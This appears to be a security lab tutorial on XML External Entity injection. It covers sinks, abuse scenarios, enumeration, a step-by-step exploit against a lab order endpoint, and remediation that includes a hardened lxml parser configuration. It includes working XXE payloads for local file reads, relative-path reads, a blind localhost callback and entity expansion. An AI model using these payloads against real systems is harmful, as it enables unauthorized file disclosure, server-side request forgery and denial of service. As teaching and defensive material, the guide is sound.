XML External Entity injection happens when an XML parser processes attacker-controlled entity definitions.
The primitive is unsafe XML entity resolution. The application intends to parse data from XML, but the parser is configured to load DTDs and resolve external entities. That lets the XML document reference files or URLs outside the document itself.
XXE is parser-dependent. Many modern XML parsers disable dangerous behavior by default. The vulnerability appears when the application or library enables DTD loading, external entity resolution, XInclude, or similar XML features without needing them.
Common XXE sinks include:
- XML API endpoints
- SOAP services
- SAML processors
- Office document importers
- SVG processing
- PDF or document conversion pipelines
- RSS or Atom parsers
- Configuration import features
- Legacy enterprise integrations
- XML-to-object mapping libraries
Common abuse scenarios include:
- Reading local files
- Reading application configuration
- Reading secrets mounted on the server
- Server-side request forgery through external entities
- Internal service probing
- Denial of service through entity expansion
- Chaining with file upload when uploaded XML-based formats are parsed
When enumerating XXE opportunities, identify:
- Whether the endpoint accepts XML
- Whether XML errors are returned
- Whether DOCTYPE declarations are accepted
- Whether custom entities are expanded
- Whether external file entities are resolved
- Whether outbound network requests are possible
- Whether XML-based upload formats are parsed server-side
- Whether the parser is configured with DTD loading or entity resolution enabled
Types
Classic external entity file read references a local file.
<!DOCTYPE order [
<!ENTITY proof SYSTEM "file:///path/to/file">
]>
Relative external entity file read references a path relative to the XML document base URL.
<!DOCTYPE order [
<!ENTITY proof SYSTEM "../private/config.txt">
]>
Blind XXE does not return entity contents directly. Impact is proven through network callbacks, timing, parser errors, or side effects inside an authorized lab.
<!ENTITY proof SYSTEM "http://127.0.0.1:8000/xxe-proof">
Billion Laughs-style entity expansion targets availability by expanding nested entities.
<!ENTITY a "aaaa">
<!ENTITY b "&a;&a;&a;&a;">
Availability payloads are noisy. Use them only in controlled labs.
Enumeration
Start with normal XML:
<order>
<item>Signal Mug</item>
<quantity>1</quantity>
<note>normal order</note>
</order>
Then test whether a harmless internal entity expands:
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY proof "ootw-entity-proof">
]>
<order>
<item>&proof;</item>
<quantity>1</quantity>
<note>test</note>
</order>
If internal entities expand, test external entities in the lab:
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY proof SYSTEM "../private/device-config.txt">
]>
<order>
<item>Signal Mug</item>
<quantity>1</quantity>
<note>&proof;</note>
</order>
Compare:
- Status code
- XML parser errors
- Expanded text in the response
- Response length
- Audit events
- Outbound callback behavior in authorized labs
Interesting findings include:
- A custom entity expanding inside the parsed output
- Local file content appearing in the response
- Parser errors that mention external entity resolution
- Network callbacks from the server
- The application blocking
file://but allowing relative external entities - Network access disabled while local file entities still work
Exploit
- Confirm that the endpoint parses XML.
POST /xxe/basic
Content-Type: application/xml
- Confirm that entity expansion is enabled.
<!ENTITY proof "ootw-entity-proof">
- Reference a local lab file.
<!ENTITY proof SYSTEM "file:///path/to/lab_xml/private/device-config.txt">
- Place the entity inside an element that is displayed in the response.
<note>&proof;</note>
- If
file://is blocked, try a relative external entity where the parser has a file base URL.
<!ENTITY proof SYSTEM "../private/device-config.txt">
- Stop once impact is proven.
The exploit is not XML itself. The exploit is proving that attacker-controlled XML can make the server resolve external resources.
Remediation
Patch XXE by disabling the XML features that are not required:
- Disable DTD processing.
- Disable external entity resolution.
- Disable network access during XML parsing.
- Reject
DOCTYPEwhere business logic does not require it. - Use safer parser defaults or hardened XML libraries.
- Avoid parsing XML from untrusted users when another format is sufficient.
- Validate XML against a strict schema after dangerous parser features are disabled.
- Keep secrets out of files reachable by the application process.
- Log XML parser errors, rejected DTDs, and suspicious entity declarations.
Safe lxml pattern:
parser = etree.XMLParser(
resolve_entities=False,
load_dtd=False,
no_network=True,
)
When DTDs are not required, rejecting DOCTYPE is a clean application-level boundary.